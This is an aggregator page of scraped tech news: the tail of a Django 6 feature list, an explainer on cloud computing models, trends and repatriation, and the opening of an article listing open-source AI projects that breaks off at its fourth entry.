<li><strong>Tasks</strong>: Django 6 added a native mechanisms for creating and managing long-running <a href="https://docs.djangoproject.com/en/6.0/topics/tasks">background tasks</a>, without holding up a response to the user. Note that Django only provides ways to set up and keep track of tasks; it doesn’t include the actual execution mechanism. The only included back ends for tasks are for testing, so you will either need to add a third-party solution or write your own using Django’s back-end task code as a base.</li>
</ul>
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<title><![CDATA[What is cloud computing? From infrastructure to autonomous, agentic-driven ecosystems]]></title>
<description><![CDATA[Cloud computing continues to be the platform of choice for large applications and a driver of innovation in enterprise technology. Gartner forecasts public cloud spending alone to  the public cloud services market alone will reach $1.42 trillion in current U.S. dollars, driven by AI workloads and...]]></description>
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<pubDate>Mon, 13 Jul 2026 17:04:32 +0200</pubDate>
<category>🔧 AI Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
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<h3 class="wp-block-heading"></h3>



<p class="wp-block-paragraph"><a href="https://www.infoworld.com/article/2337750/when-will-cloud-computing-stop-growing.html">Cloud computing</a> continues to be the <a href="https://www.cio.com/article/482179/volkswagen-drives-the-automotive-industry-cloud-forward.html">platform of choice for large applications</a> and a <a href="https://www.infoworld.com/article/2336917/cloud-computing-is-reinventing-cars-and-trucks.html">driver of innovation</a> in enterprise technology. <a href="https://www.gartner.com/en/newsroom/press-releases/2024-05-20-gartner-forecasts-worldwide-public-cloud-end-user-spending-to-surpass-675-billion-in-2024#:~:text=Worldwide%20end-user%20spending%20on,(GenAI)%20and%20application%20modernization.">Gartner </a>forecasts public cloud spending alone to  the<a href="https://www.gartner.com/en/documents/6302015#:~:text=Summary,AI%20workloads%20and%20enterprise%20modernization."> public cloud services market alone </a>will reach $1.42 trillion in current U.S. dollars, driven by AI workloads and enterprise modernization.</p>



<p class="wp-block-paragraph">Driving this growth are the rise of <a href="https://www.infoworld.com/article/2262333/youre-doing-cloud-based-ai-and-machine-learning-wrong.html">AI and machine learning on the cloud</a>, <a href="https://www.infoworld.com/article/2335144/what-happened-to-edge-computing.html">adoption of edge computing</a>, the maturation of <a href="https://www.infoworld.com/article/3406501/what-is-serverless-serverless-computing-explained.html">serverless computing</a>, the emergence of <a href="https://www.infoworld.com/article/3584433/are-you-ready-for-multicloud-a-checklist.html">multicloud strategies</a>, improved security and privacy, and more sustainable cloud practices.</p>



<h2 class="wp-block-heading">What is cloud computing?</h2>



<p class="wp-block-paragraph">While often used broadly, the term cloud computing is defined as an abstraction of compute, storage, and network infrastructure assembled as a platform on which applications and systems are deployed quickly and scaled on the fly.</p>



<p class="wp-block-paragraph">Most cloud customers consume <a href="https://www.cio.com/article/2097657/6-cloud-market-forces-impacting-it-strategies-today.html">public cloud </a>computing services over the internet, which are hosted in large, remote data centers maintained by cloud providers. The most common type of cloud computing, SaaS (software as service), delivers prebuilt applications to the browsers of customers who pay per seat or by usage, exemplified by such popular apps as Salesforce, Google Docs, or Microsoft Teams.</p>



<h3><strong> 5 top trends in cloud computing</strong></h3>

<ol>
<li><strong>Agentic cloud ecosystems: </strong> The shift from AI as a tool to AI as an autonomous operator within cloud environments.</li>
<li><strong>Sovereign and localized clouds: </strong> Meeting strict national data residency and digital sovereignty laws.</li>
<li><strong>Specialized AI hardware access: </strong> Navigating the GPU capacity crunch through reserved instances and boutique AI clouds.</li>
<li><strong>Integrated greenOps: </strong>Merging cost optimization with mandatory carbon-footprint reporting.</li>
<li><strong>Industry-specific walled gardens: </strong> The maturation of vertical clouds into highly regulated, precompliant environments for finance and healthcare.</li>
</ol>






<p class="wp-block-paragraph">Next in line is IaaS (infrastructure as a service), which offers vast, virtualized compute, storage, and network infrastructure upon which customers build their own applications, often with the aid of providers’ <a href="https://www.infoworld.com/article/2269032/what-is-an-api-application-programming-interfaces-explained.html">API</a>-accessible services.</p>



<p class="wp-block-paragraph">When people refer to the “the cloud” today, they most often mean the big IaaS providers: AWS (Amazon Web Services), Google Cloud Platform, or Microsoft Azure. All three have become ecosystems of services that go way beyond infrastructure and include developer tools, serverless computing, machine learning services and APIs, data warehouses, and thousands of other services. With both SaaS and IaaS, a key benefit is agility. Customers gain new capabilities almost instantly without the capital investment in hardware or software on-premises — and they can instantly scale the cloud resources they consume up or down as needed.</p>



<p class="wp-block-paragraph">According to <a href="https://foundryco.com/research/cloud-computing/">Foundry’s Cloud Computing Study, 2025</a>, enterprises are moving to the cloud to improve security and/or governance, increase scalability​, accelerate adoption of artificial intelligence and machine learning and other new technologies, replace on-premises legacy technology, ​improve employee productivity, and ensure disaster recovery and business continuity.</p>



<h2 class="wp-block-heading">Hyperscalers now dominate cloud services</h2>



<p class="wp-block-paragraph">The largest cloud service providers are often described as hyperscalers, due to their capability to provide large-scale data centers across the globe. Hyperscalers typically offer a wide range of cloud services, including IaaS, PaaS, SaaS, and more.</p>



<p class="wp-block-paragraph">As mentioned above, notable hyperscalers include Amazon Web Services (AWS), Google Cloud Platform, and Microsoft Azure. They offer the following capabilities.</p>



<ul class="wp-block-list">
<li><strong>Scalability</strong>: Hyperscalers can handle massive workloads and scale resources up or down quickly.</li>



<li><strong>Cost-effectiveness</strong>: Hyperscalers often offer competitive pricing and economies of scale.</li>



<li><strong>Global reach</strong>: Hyperscalers operate data centers around the world, providing low-latency access to customers in different regions.</li>



<li><strong>Innovation</strong>: Hyperscalers are at the forefront of cloud innovation, offering new services and features.</li>
</ul>



<h3 class="wp-block-heading">Challenges of working with hyperscalers</h3>



<ul class="wp-block-list">
<li><strong>Vendor lock-in</strong>: Relying heavily on a single hyperscaler can create <a href="https://www.cio.com/article/648048/hyperscalers-in-crosshairs-for-anti-competitive-pricing-and-lock-in.html">vendor lock-in</a>, making it difficult to switch to another provider and charging large egress fees if you do move.</li>



<li><strong>Complexity</strong>: Hyperscalers offer a vast array of services, which can be overwhelming for some customers.</li>



<li><strong>Security concerns</strong>: Because hyperscalers handle sensitive data, security is a major concern.</li>
</ul>



<h2 class="wp-block-heading"><strong>AI, Agents, and the Sovereign Cloud</strong></h2>



<p class="wp-block-paragraph">The AI-enabled enterprise has moved beyond simple chatbots. The focus has shifted to <strong>agentic workflows </strong>— autonomous systems that reside in the cloud and possess the authority to execute business processes, manage cloud spend, and self-patch security vulnerabilities without human intervention.</p>



<h3 class="wp-block-heading"><strong>The shift to agentic infrastructure</strong></h3>



<p class="wp-block-paragraph">Cloud providers are no longer just selling compute. They are selling <strong>inference-as-a-service</strong>. Modern cloud budgets are now dominated by the high cost of specialized GPU clusters (such as Nvidia’s Blackwell architecture). This has led to the rise of boutique AI clouds that compete with hyperscalers by offering bare-metal access to the latest silicon specifically for model training and fine-tuning.</p>



<h3 class="wp-block-heading"><strong>Data sovereignty and private AI</strong></h3>



<p class="wp-block-paragraph">A major shift in late 2025 is the move away from public AI models for sensitive data. Organizations are increasingly using retrieval-augmented generation (RAG) within walled garden environments. This ensures that a company’s proprietary data never leaves their specific cloud instance to train a provider’s base model.</p>



<p class="wp-block-paragraph">Furthermore, sovereign AI has become a requirement for global operations. Governments now demand that the AI models processing their citizens’ data be hosted on infrastructure that is owned, operated, and governed within their own borders.</p>



<h3 class="wp-block-heading"><strong>The challenges of ghost AI</strong></h3>



<p class="wp-block-paragraph">Just as shadow IT plagued the 2010s, ghost AI—unauthorized AI agents running on corporate cloud accounts — has become a primary security risk. Managing these autonomous entities requires a new layer of <strong>AI governance</strong>, where the cloud provider automatically audits the intent and permissions of every running agent to prevent runaway costs or data leaks.</p>



<h2 class="wp-block-heading">Cloud computing definitions</h2>



<p class="wp-block-paragraph">In 2011, <a href="https://nvlpubs.nist.gov/nistpubs/legacy/sp/nistspecialpublication800-145.pdf">NIST posted a PDF</a> that divided cloud computing into three “service models” — SaaS, IaaS, and PaaS (platform as a service) — the latter being a controlled environment within which customers develop and run applications. These three categories have largely stood the test of time, although most PaaS solutions now are made available as services within IaaS ecosystems rather than as dedicated PaaS clouds.</p>



<p class="wp-block-paragraph">Two evolutionary trends stand out since NIST’s threefold definition. One is the long and growing list of subcategories within SaaS, IaaS, and PaaS, some of which blur the lines between categories. The other is the explosion of API-accessible services available in the cloud, particularly within IaaS ecosystems. The cloud has become a crucible of innovation where many emerging technologies appear first as services, a big attraction for business customers who understand the potential competitive advantages of early adoption.</p>



<h3 class="wp-block-heading"><strong>SaaS (software as a service) definition</strong></h3>



<p class="wp-block-paragraph">This type of cloud computing delivers applications over the internet, typically with a browser-based user interface. Today, most software companies offer their wares via <a href="https://www.infoworld.com/article/2256637/what-is-saas-software-as-a-service-defined.html">SaaS </a>— if not exclusively, then at least as an option.</p>



<p class="wp-block-paragraph">The most popular SaaS applications for business are <a href="https://www.computerworld.com/article/3570821/google-workspace-explained-googles-answer-to-microsoft-365.html">Google’s G Suite</a> and <a href="https://www.computerworld.com/article/1710782/office-2021-vs-microsoft-365-office-365-how-to-choose.html">Microsoft’s Office 365</a>. Most enterprise applications, including giant <a href="https://www.cio.com/article/272362/what-is-erp-key-features-of-top-enterprise-resource-planning-systems.html">ERP</a> suites from Oracle and SAP, come in both SaaS and on-premises versions. SaaS applications typically offer extensive configuration options as well as development environments that enable customers to code their own modifications and additions. They also enable data integration with on-prem applications.</p>



<h3 class="wp-block-heading"><strong>IaaS (infrastructure as a service) definition</strong></h3>



<p class="wp-block-paragraph">At a basic level, <a href="https://www.infoworld.com/article/2255598/what-is-iaas-your-data-center-in-the-cloud.html">IaaS </a>cloud providers offer virtualized compute, storage, and networking over the internet on a pay-per-use basis. Think of it as a data center maintained by someone else, remotely, but with a software layer that virtualizes all those resources and automates customers’ ability to allocate them with little trouble.</p>



<p class="wp-block-paragraph">But that’s just the basics. The full array of services offered by the major public IaaS providers is staggering: <a href="https://www.infoworld.com/article/2269279/the-era-of-the-cloud-database-has-finally-begun.html">highly scalable databases</a>, virtual private networks, <a href="https://www.infoworld.com/article/2255434/what-is-big-data-analytics-fast-answers-from-diverse-data-sets.html">big data analytics</a>, <a href="https://www.infoworld.com/article/2259367/buyers-guide-how-to-choose-a-cloud-machine-learning-platform.html">AI and machine learning services</a>, application platforms, developer tools, <a href="https://www.infoworld.com/article/3215275/what-is-devops-transforming-software-development.html">devops</a> tools, and so on. Amazon Web Services was the first IaaS provider and remains the leader, followed by <a href="https://www.infoworld.com/article/2269424/azure-cloud-services-guide-the-right-tools-for-the-job.html">Microsoft Azure</a>, <a href="https://www.infoworld.com/article/2263677/google-cloud-platform-services-guide-the-right-tools-for-the-job.html">Google Cloud Platform</a>, <a href="https://www.infoworld.com/article/2256709/ibm-cloud-services-guide-the-right-tools-for-the-job.html">IBM Cloud</a>, and <a href="https://www.infoworld.com/article/3529339/oracle-cloudworld-2024-10-key-takeaways-from-the-big-annual-event.html">Oracle Cloud</a>.</p>



<h3 class="wp-block-heading"><strong>PaaS (platform as a service) definition</strong></h3>



<p class="wp-block-paragraph"><a href="https://www.infoworld.com/article/2256066/what-is-paas-platform-as-a-service-a-simpler-way-to-build-software-applications.html">PaaS</a> provides sets of services and workflows that specifically target developers, who can use shared tools, processes, and APIs to accelerate the development, testing, and deployment of applications. Salesforce’s <a href="https://www.infoworld.com/article/2257217/5-foolish-reasons-youre-not-using-heroku.html">Heroku</a> and Salesforce Platform (formerly Force.com) are popular public cloud PaaS offerings; <a href="https://www.infoworld.com/article/2258957/cloud-foundry-stages-a-comeback.html">Cloud Foundry</a> and Red Hat’s <a href="https://www.infoworld.com/article/2261552/red-hat-openshift-adds-containers-and-microservices-features-for-developers.html">OpenShift</a> can be deployed on premises or accessed through the major public clouds. For enterprises, PaaS can ensure that developers have ready access to resources, follow certain processes, and use only a specific array of services, while operators maintain the underlying infrastructure.</p>



<h3 class="wp-block-heading"><strong>FaaS (function as a service) definition</strong></h3>



<p class="wp-block-paragraph"><a href="https://www.infoworld.com/article/2256402/paas-caas-or-faas-how-to-choose.html">FaaS</a>, the original and most basic version of <a href="https://www.infoworld.com/article/2266283/serverless-in-the-cloud-aws-vs-google-cloud-vs-microsoft-azure.html">serverless computing</a>, adds another layer of abstraction to PaaS, so that developers are insulated from everything in the stack below their code. Instead of futzing with virtual servers, containers, and application runtimes, developers upload narrowly functional blocks of code, and set them to be triggered by a certain event (such as a form submission or uploaded file). All of the major clouds offer FaaS on top of IaaS: <a href="https://www.infoworld.com/article/2265897/aws-lambda-tutorial-get-started-with-serverless-computing-2.html">AWS Lambda</a>, <a href="https://www.infoworld.com/article/2255377/how-to-work-with-azure-functions-in-csharp.html">Azure Functions</a>, <a href="https://www.infoworld.com/article/2243861/google-takes-aims-at-aws-lambda-with-cloud-functions.html">Google Cloud Functions</a>, and IBM Cloud Functions. A special benefit of FaaS applications is that they consume no IaaS resources until an event occurs, reducing pay-per-use fees.</p>



<h3 class="wp-block-heading"><strong>Private cloud definition</strong></h3>



<p class="wp-block-paragraph">A <a href="https://www.infoworld.com/article/2179737/build-your-own-private-cloud-2.html">private cloud</a> downsizes the technologies used to run IaaS public clouds into software that can be deployed and operated in a customer’s data center. As with a public cloud, internal customers can provision their own virtual resources to build, test, and run applications, with metering to charge back departments for resource consumption. For administrators, the private cloud amounts to the ultimate in data center automation, minimizing manual provisioning and management.</p>



<p class="wp-block-paragraph">VMware remains a force in the private cloud software market, but the acquisition by Broadcom has created confusion and raised concerns among some customers about potential changes in pricing, licensing, and support. This could lead some organizations to explore alternative solutions.</p>



<p class="wp-block-paragraph">OpenStack continues to be a popular open-source choice for building private clouds. It offers a flexible and customizable platform that can be tailored to specific needs. However, OpenStack can be complex to deploy and manage, and it may require significant expertise to maintain.</p>



<p class="wp-block-paragraph"><a href="https://www.infoworld.com/article/3268073/what-is-kubernetes-your-next-application-platform.html">Kubernetes</a>, a container orchestration platform that has gained significant traction in recent years, is often used in conjunction with other technologies like OpenStack to build <a href="https://www.infoworld.com/article/3281046/what-is-cloud-native-the-modern-way-to-develop-software.html">cloud-native</a> applications. Red Hat OpenShift is a comprehensive cloud platform based on Kubernetes that provides a managed experience for deploying and managing <a href="https://www.infoworld.com/article/3310941/why-you-should-use-docker-and-containers.html">container</a>-based, applications.</p>



<p class="wp-block-paragraph">Many cloud providers offer their own cloud-native platforms and tools, such as <a href="https://www.networkworld.com/article/968169/aws-rolls-out-outposts-for-on-premises-hybrid-cloud.html">AWS Outposts</a>, <a href="https://www.infoworld.com/article/2253985/a-cloud-in-your-datacenter-microsoft-azure-stack-arrives.html">Azure Stack</a>, and <a href="https://www.infoworld.com/article/2257617/what-is-google-cloud-anthos-managed-kubernetes-everywhere.html">Google Cloud Anthos</a>.</p>



<p class="wp-block-paragraph">Common factors to consider when evaluating private cloud platforms include the following:</p>



<ol class="wp-block-list">
<li><strong>Pricing</strong>: The initial cost of deployment and ongoing maintenance costs.</li>



<li><strong>Complexity</strong>: The level of technical expertise needed to manage the platform.</li>



<li><strong>Flexibility</strong>: The ability to customize the platform to meet specific needs.</li>



<li><strong>Vendor lock-in</strong>: The degree to which the organization is tied to a particular vendor.</li>



<li><strong>Security</strong>: The security features and capabilities of the platform.</li>



<li><strong>Scalability</strong>: The capability to expand the platform to meet future needs.</li>
</ol>



<h3 class="wp-block-heading"><strong>Hybrid cloud definition</strong></h3>



<p class="wp-block-paragraph">A <a href="https://www.infoworld.com/article/2257084/hybrid-cloud-private-cloud-public-cloud-multicloud-how-to-choose.html">hybrid cloud</a> is the integration of a private cloud with a public cloud. At its most developed, the hybrid cloud involves creating parallel environments in which applications can move easily between private and public clouds. In other instances, databases may stay in the customer data center and integrate with public cloud applications — or virtualized data center workloads may be replicated to the cloud during times of peak demand. The types of integrations between private and public clouds vary widely, but they must be extensive to earn a hybrid cloud designation.</p>



<h3 class="wp-block-heading"><strong>Public APIs (application programming interfaces) definition</strong></h3>



<p class="wp-block-paragraph">Just as SaaS delivers applications to users over the internet, public <a href="https://www.infoworld.com/article/2269032/what-is-an-api-application-programming-interfaces-explained.html">APIs</a> offer developers application functionality that can be accessed programmatically. For example, in building web applications, developers often tap into the Google Maps API to provide driving directions; to integrate with social media, developers may call upon APIs maintained by Twitter, Facebook, or LinkedIn. <a href="https://www.infoworld.com/article/2253662/get-started-with-twilios-programmable-video-api.html">Twilio</a> has built a successful business delivering telephony and messaging services via public APIs. Ultimately, any business can provision its own public APIs to enable customers to consume data or access application functionality.</p>



<h3 class="wp-block-heading"><strong>iPaaS (integration platform as a service) definition</strong></h3>



<p class="wp-block-paragraph">Data integration is a key issue for any sizeable company, but particularly for those that adopt SaaS at scale. iPaaS providers typically offer prebuilt connectors for sharing data among popular SaaS applications and on-premises enterprise applications, though providers may focus more or less on business-to-business and e-commerce integrations, cloud integrations, or traditional SOA-style integrations. iPaaS offerings in the cloud from such providers as Dell Boomi, Informatica, MuleSoft, and SnapLogic also let users implement data mapping, transformations, and workflows as part of the integration-building process.</p>



<h3 class="wp-block-heading"><strong>IDaaS (identity as a service) definition</strong></h3>



<p class="wp-block-paragraph">The most difficult security issue related to <a href="https://www.infoworld.com/article/2268884/why-cloud-computing-is-always-a-good-question.html">cloud computing</a> is managing user identity and its associated rights and permissions across data centers and pubic cloud sites. <a href="https://www.csoonline.com/article/572759/idaas-explained-how-it-compares-to-iam.html">IDaaS providers</a> maintain cloud-based user profiles that authenticate users and enable access to resources or applications based on security policies, user groups, and individual privileges. The ability to integrate with various directory services (Active Directory, LDAP, etc.) and provide single sign-on across business-oriented SaaS applications is essential.</p>



<p class="wp-block-paragraph">Leaders in IDaaS include Microsoft, IBM, Google, Oracle, Okta, Capgemini, Okta, Junio Corporation, OneLogin, and JumpCloud. <strong> </strong></p>



<h3 class="wp-block-heading"><strong>Collaboration platforms</strong></h3>



<p class="wp-block-paragraph"><a href="https://www.computerworld.com/article/3595255/slack-adds-templates-to-help-users-kick-off-projects-quicker.html">Collaboration solutions such as Slack</a> and <a href="https://www.computerworld.com/article/3593909/microsoft-combines-teams-chat-and-channels-in-ui-refresh.html">Microsoft Teams</a> have become vital messaging platforms that enable groups to communicate and work together effectively. Basically, these solutions are relatively simple SaaS applications that support chat-style messaging along with file sharing and audio or video communication. Most offer APIs to facilitate integrations with other systems and enable third-party developers to create and share add-ins that augment functionality.</p>



<h3 class="wp-block-heading"><strong>Vertical clouds</strong></h3>



<p class="wp-block-paragraph">Key providers in such industries as financial services, healthcare, retail, life sciences, and manufacturing provide PaaS clouds to enable customers to build vertical applications that tap into industry-specific, API-accessible services. Vertical clouds can dramatically reduce the time to market for vertical applications and accelerate domain-specific B2B integrations. Most vertical clouds are built with the intent of nurturing partner ecosystems.</p>



<h2 class="wp-block-heading"><strong>Other cloud computing considerations</strong></h2>



<p class="wp-block-paragraph">The most widely accepted definition of cloud computing means that you run your workloads on someone else’s servers, but this is not the same as outsourcing. Virtual cloud resources and even SaaS applications must be configured and maintained by the customer. Consider these factors when planning a cloud initiative.</p>



<h3 class="wp-block-heading"><strong>Cloud computing security considerations</strong></h3>



<p class="wp-block-paragraph">Objections to the public cloud generally begin with <a href="https://www.csoonline.com/article/555213/top-cloud-security-threats.html">cloud security</a>, although the major public clouds have proven themselves much less susceptible to attack than the average enterprise data center.</p>



<p class="wp-block-paragraph">Of greater concern is the integration of security policy and identity management between customers and public cloud providers. In addition, government regulation may forbid customers from allowing sensitive data off-premises. Other concerns include the risk of outages and the long-term operational costs of public cloud services.</p>



<h3 class="wp-block-heading"><strong>Multicloud management considerations</strong></h3>



<p class="wp-block-paragraph">To enhance their operational efficiency, reduce costs, and improve security, many companies are increasingly turning to <a href="https://www.infoworld.com/article/2335587/can-cloud-computing-be-truly-federated.html">multicloud strategies</a>. By distributing workloads across <a href="https://www.infoworld.com/article/2336303/are-the-different-public-clouds-really-that-different.html">multiple cloud providers</a>, organizations can avoid vendor lock-in, <a href="https://www.infoworld.com/article/2261783/3-cloud-architecture-patterns-that-optimize-scalability-and-cost.html">optimize costs</a>, and leverage the best-of-breed services offered by different providers.</p>



<p class="wp-block-paragraph">This multicloud approach also improves performance and reliability by minimizing downtime and optimizing latency. Additionally, multicloud strategies strengthen security by diversifying the attack surface and facilitating compliance with industry regulations. Finally, by replicating critical workloads across multiple regions and providers, companies can establish robust disaster recovery and business continuity plans, ensuring minimal disruption in the event of catastrophic failures.</p>



<p class="wp-block-paragraph">The bar to qualify as a <a href="https://www.infoworld.com/article/2256706/what-is-multicloud-the-next-step-in-cloud-computing.html">multicloud</a> adopter is low: A customer just needs to use more than one public cloud service. However, depending on the number and variety of cloud services involved, managing multiple clouds can become complex from both a cost optimization and a technology perspective.</p>



<p class="wp-block-paragraph">In some cases, customers subscribe to multiple cloud services simply to avoid dependence on a single provider. A more sophisticated approach is to select public clouds based on the unique services they offer and, in some cases, integrate them. For example, developers might want to use Google’s <a href="https://www.infoworld.com/article/2336686/google-vertex-ai-studio-puts-the-promise-in-generative-ai.html">Vertex AI Studio</a> on Google Cloud Platform to build AI-driven applications, but prefer <a href="https://www.infoworld.com/article/2260091/what-is-jenkins-the-ci-server-explained.html">Jenkins</a> hosted on the CloudBees platform for <a href="https://www.infoworld.com/article/3271126/what-is-cicd-continuous-integration-and-continuous-delivery-explained.html">continuous integration</a>.</p>



<p class="wp-block-paragraph">To control costs and reduce management overhead, some customers opt for <a href="https://www.infoworld.com/article/3520828/how-cloud-custodian-conquered-cloud-resource-management.html">cloud management platforms</a> (CMPs) and/or cloud service brokers (CSBs), which let you manage multiple clouds as if they were one cloud. The problem is that these solutions tend to limit customers to such common-denominator services as storage and compute, ignoring the panoply of services that make each cloud unique.</p>



<h3 class="wp-block-heading"><strong>Edge computing considerations</strong></h3>



<p class="wp-block-paragraph">You often see <a href="https://www.networkworld.com/article/964305/what-is-edge-computing-and-how-it-s-changing-the-network.html">edge computing</a> incorrectly described as an alternative to cloud computing. Edge computing is about moving compute to local devices in a highly distributed system, typically as a layer around a cloud computing core. There is typically a cloud involved to orchestrate all of the devices and take in their data, then analyze it or otherwise act on it. </p>



<h3 class="wp-block-heading"><strong>To the cloud and back – why repatriation is real</strong></h3>



<p class="wp-block-paragraph">While public cloud offers scalability and flexibility, some enterprises are opting to <a href="https://www.infoworld.com/article/2336102/why-companies-are-leaving-the-cloud.html">return to on-premises infrastructure</a> due to rising costs, data security concerns, performance issues, vendor lock-in, and regulatory compliance challenges. While the public cloud offers scalability and flexibility, on-premises infrastructure provides greater control, customization, and potential cost savings in certain scenarios leading some technology decision-makers to <a href="https://www.infoworld.com/article/2336835/do-you-need-to-repatriate-from-the-cloud.html">consider repatriation</a>. However, a hybrid cloud approach, combining public and private cloud, often offers the best balance of benefits.</p>



<p class="wp-block-paragraph">More specific reasons to repatriate including the following:</p>



<ul class="wp-block-list">
<li>Unanticipated costs, such as data transfer fees, storage charges, and <a href="https://www.infoworld.com/article/2336430/why-public-cloud-providers-are-cutting-egress-fees.html">egress fees</a>, can quickly escalate, especially for large-scale cloud deployments.  </li>



<li>Inaccurate resource provisioning or underutilization can lead to higher-than-expected costs.</li>



<li>Stricter <a href="https://www.infoworld.com/article/3545268/why-cloud-security-outranks-cost-and-scalability.html">data privacy regulations</a> require organizations to store and process data within specific geographic boundaries.  </li>



<li>For highly sensitive data, companies may prefer to maintain greater control over security measures and access permissions. </li>



<li><a href="https://www.infoworld.com/article/2338856/cloud-may-be-overpriced-compared-to-on-premises-systems.html">On-premises infrastructure</a> can offer lower latency, particularly for applications requiring real-time processing or high-performance computing.  </li>



<li>Overreliance on a single cloud provider can limit flexibility and increase costs. Repatriation allows organizations to diversify their infrastructure and reduce vendor dependency.  </li>



<li>Industries with stringent compliance requirements may find it easier to meet standards with on-premises infrastructure.  </li>



<li>On-premises environments offer greater control over hardware, software, and network configurations, allowing for customized solutions.  </li>
</ul>



<h2 class="wp-block-heading"><strong>Benefits of cloud computing</strong></h2>



<p class="wp-block-paragraph">The cloud’s main appeal is to reduce the time to market of applications that need to scale dynamically. Increasingly, however, developers are drawn to the cloud by the abundance of advanced new services that can be incorporated into applications, from machine learning to internet of things (IoT) connectivity.</p>



<p class="wp-block-paragraph">Although businesses sometimes migrate legacy applications to the cloud to reduce data center resource requirements, the real benefits accrue to new applications that take advantage of cloud services and “cloud native” attributes. The latter include <a href="https://www.infoworld.com/article/2263327/what-are-microservices-your-next-software-architecture.html">microservices architecture</a>, <a href="https://www.infoworld.com/article/2253801/what-is-docker-the-spark-for-the-container-revolution.html">Linux containers</a> to enhance application portability, and container management solutions such as <a href="https://www.infoworld.com/article/2266945/what-is-kubernetes-your-next-application-platform.html">Kubernetes</a> that orchestrate container-based services. <a href="https://www.infoworld.com/article/2255318/what-is-cloud-native-the-modern-way-to-develop-software.html">Cloud-native</a> approaches and solutions can be part of either public or private clouds and help enable highly efficient <a href="https://www.infoworld.com/article/2255028/what-is-devops-transforming-software-development.html">devops</a> workflows.</p>



<p class="wp-block-paragraph">Cloud computing, be it public or private or hybrid or multicloud, has become the platform of choice for large applications, particularly customer-facing ones that need to change frequently or scale dynamically. More significantly, the major public clouds now lead the way in enterprise technology development, debuting new advances before they appear anywhere else. Workload by workload, enterprises are opting for the cloud, where an endless parade of exciting new technologies invite innovative use.</p>



<p class="wp-block-paragraph">SaaS has its roots in the ASP (application service provider) trend of the early 2000s, when providers would run applications for business customers in the provider’s data center, with dedicated instances for each customer. The ASP model was a spectacular failure because it quickly became impossible for providers to maintain so many separate instances, particularly as customers demanded customizations and updates.</p>



<p class="wp-block-paragraph">Salesforce is widely considered the first company to launch a highly successful SaaS application using <a href="https://www.infoworld.com/article/2335534/the-evolution-of-multitenancy-for-cloud-computing.html">multitenancy</a> — a defining characteristic of the SaaS model. Rather than each Salesforce customer getting its own application instance, customers who subscribe to the company’s salesforce automation software share a single, large, dynamically scaled instance of an application (like tenants sharing an apartment building), while storing their data in separate, secure repositories on the SaaS provider’s servers. Fixes can be rolled out behind the scenes with zero downtime and customers can receive UX or functionality improvements as they become available.</p>



<p class="wp-block-paragraph"></p>
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<title><![CDATA[16 open source projects transforming AI and machine learning]]></title>
<description><![CDATA[For several decades now, the most innovative software has always emerged from the world of open source software. It’s no different with machine learning and large language models. If anything, the open source ecosystem has grown richer and more complex, because now there are open source models to...]]></description>
<link>https://tsecurity.de/de/3665665/ai-nachrichten/16-open-source-projects-transforming-ai-and-machine-learning/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3665665/ai-nachrichten/16-open-source-projects-transforming-ai-and-machine-learning/</guid>
<pubDate>Mon, 13 Jul 2026 17:04:27 +0200</pubDate>
<category>🔧 AI Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
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<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p class="wp-block-paragraph">For several decades now, the most innovative software has always emerged from the world of open source software. It’s no different with machine learning and <a href="https://www.infoworld.com/article/2335213/large-language-models-the-foundations-of-generative-ai.html">large language models</a>. If anything, the open source ecosystem has grown richer and more complex, because now there are open source models to complement the open source code.</p>



<p class="wp-block-paragraph">For this article, we’ve pulled together some of the most intriguing and useful projects for <a href="https://www.infoworld.com/article/2338115/what-is-generative-ai-artificial-intelligence-that-creates.html">AI and machine learning</a>. Many of these are foundation projects, nurturing their own niche ecology of open source plugins and extensions. Once you’ve started with the basic project, you can keep adding more parts.</p>



<p class="wp-block-paragraph">Most of these projects offer demonstration code, so you can start up a running version that already tackles a basic task. Additionally, the companies that build and maintain these projects often sell a service alongside them. In some cases, they’ll deploy the code for you and save you the hassle of keeping it running. In others, they’ll sell custom add-ons and modifications. The code itself is still open, so there’s no vendor lock in. The services simply make it easier to adopt the code by paying someone to help.</p>



<p class="wp-block-paragraph">Here are 16 open source projects that developers can use to unlock the potential in machine learning and large language models of any size—from small to large, and even extra large.</p>



<h2 class="wp-block-heading">Agent Skills</h2>



<p class="wp-block-paragraph">AI coding agents are often used to tackle standard tasks like <a href="https://www.infoworld.com/article/3981588/putting-agentic-ai-to-work-in-firebase-studio.html">writing React components</a> or <a href="https://www.infoworld.com/article/4025088/how-coderabbit-brings-ai-to-code-reviews.html">reviewing parts of the user interface</a>. If you are writing a coding agent, it makes sense to use vetted solutions that are focused on the task at hand. <a href="https://github.com/vercel-labs/agent-skills">Agent Skills</a> are pre-coded tools that your AI can deploy as needed. The result is a focused set of vetted operations capable of producing refined, useful code that stays within standard guidelines. License: MIT.</p>



<h2 class="wp-block-heading">Awesome LLM Apps</h2>



<p class="wp-block-paragraph">If you are looking for good examples of agentic coding, see the <a href="https://github.com/Shubhamsaboo/awesome-llm-apps">Awesome LLM Apps collection</a>. Currently, the project hosts several dozen applications that leverage some combination of <a href="https://www.infoworld.com/article/2335814/what-is-retrieval-augmented-generation-more-accurate-and-reliable-llms.html">RAG databases</a> and LLMs. Some are simple, like a meme generator, while others handle deeper research like the Journalist agent. The most complex examples deploy multi-agent teams to converge upon an answer. Every application comes with working examples for experimentation, so you can learn from what’s been successful in the past. Altogether, the apps in this collection are great inspiration for your own projects. License: Apache 2.0.</p>



<h2 class="wp-block-heading">Bifrost</h2>



<p class="wp-block-paragraph">If your application requires access to an LLM service, and you don’t have a particular one in mind, check out <a href="https://github.com/maximhq/bifrost">Bifrost</a>. A fast, unified gateway to more than 15 LLM providers, this OpenAI-compatible API quickly abstracts away the differences between models, including all the major ones. It includes essential features like governance, caching, budget management, load balancing, and it has guardrails to catch problems before they are sent out to service providers, who will just bill you for the time. With dozens of great LLM providers constantly announcing new and better models, why limit yourself? License: Apache 2.0.</p>



<h2 class="wp-block-heading">Claude Code</h2>



